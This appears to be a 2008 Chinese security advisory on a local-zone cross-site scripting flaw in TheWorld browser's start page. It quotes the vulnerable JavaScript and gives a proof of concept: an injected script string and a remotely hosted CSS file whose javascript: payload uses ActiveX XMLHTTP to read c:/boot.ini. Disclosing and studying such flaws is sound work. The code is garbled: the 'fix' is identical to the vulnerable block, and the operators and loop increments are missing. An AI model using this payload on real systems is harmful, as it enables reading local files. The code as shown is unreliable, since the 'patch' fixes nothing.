漏洞說明：http://www.80sec.com/360-sec-browser-localzone-xss.html

　　文檔來源:http://www.80sec.com/release/The-world-browser-locale-zone-xss-POC.txt

　　漏洞分析：世界之窗瀏覽器在起始頁面是以res://E:\PROGRA~1\THEWOR~1.0\languages\chs.dll/TWHOME.HTM的形式來處理的，而由于缺乏對res協(xié)議安全的必要控制，導(dǎo)致頁面的權(quán)限很高，而該頁面中存在的一個(gè)xss問題將導(dǎo)致本地跨域漏洞，簡單分析如下：

<script language="JavaScript">
var nOldCount = 0;
for( i = 0; i < g_nCountOld; i )
{
str_url = g_arr_argUrlOld[i];
str_name = g_arr_argNameOld[i];
str_td = “<tr ID=’twOldItem” i ”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’刪除當(dāng)前項(xiàng)’ onclick=\”javascript:tw_DeleteItemOld(’” i ”‘);\”>” “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
document.write( str_td );
str_td = “<td><a target=’_blank’ href=’” str_url “‘>” str_name “</a></td></tr>”;
document.write( str_td );
nOldCount = i;
g_bHasLastUrl = true;
}
</script>



　　str_name和str_url不經(jīng)過濾地直接輸出，由于該頁面處于本地安全區(qū)域，所以擁有很高的權(quán)限，可以做很多跨域操作，包括讀取文件和運(yùn)行本地程序。

　　漏洞修補(bǔ)：

<script language="JavaScript">
var nOldCount = 0;
for( i = 0; i < g_nCountOld; i )
{
str_url = g_arr_argUrlOld[i];
str_name = g_arr_argNameOld[i];
str_td = “<tr ID=’twOldItem” i ”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’刪除當(dāng)前項(xiàng)’ onclick=\”javascript:tw_DeleteItemOld(’” i ”‘);\”>” “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
document.write( str_td );
str_td = “<td><a target=’_blank’ href=’” str_url “‘>” str_name “</a></td></tr>”;
document.write( str_td );
nOldCount = i;
g_bHasLastUrl = true;
}
</script>



　　已經(jīng)用js控制DOM顯示了

　　漏洞演示：這里提供測試方法可以讀取c:/boot.ini

　　1 打開如下地址

sc:h’><script>alert(document.write(unescape(””)))</script>


　　2 上面將導(dǎo)致一個(gè)不可訪問的頁面，然后直接關(guān)閉tw瀏覽器( 沒有好的辦法crash)

　　3 重新打開tw瀏覽器，可以發(fā)現(xiàn)http://www.80sec.com/1.css中的內(nèi)容被解析，并且有本地域的權(quán)限。

　　1.css內(nèi)容，換成其他js代碼一樣執(zhí)行

body {
background-image: url('javascript:alert(document.location);xmlhttp=new ActiveXObject("Msxml2.XMLHTTP.3.0");xmlhttp.open("GET","c:/boot.ini",false);xmlhttp.send();alert(xmlhttp.responseText);')
}


　　漏洞狀態(tài)：

　　2008-06-24通知廠商

　　2008-06-25修補(bǔ)

　　http://www.ioage.com/cnnew/uplog.htm

最新評論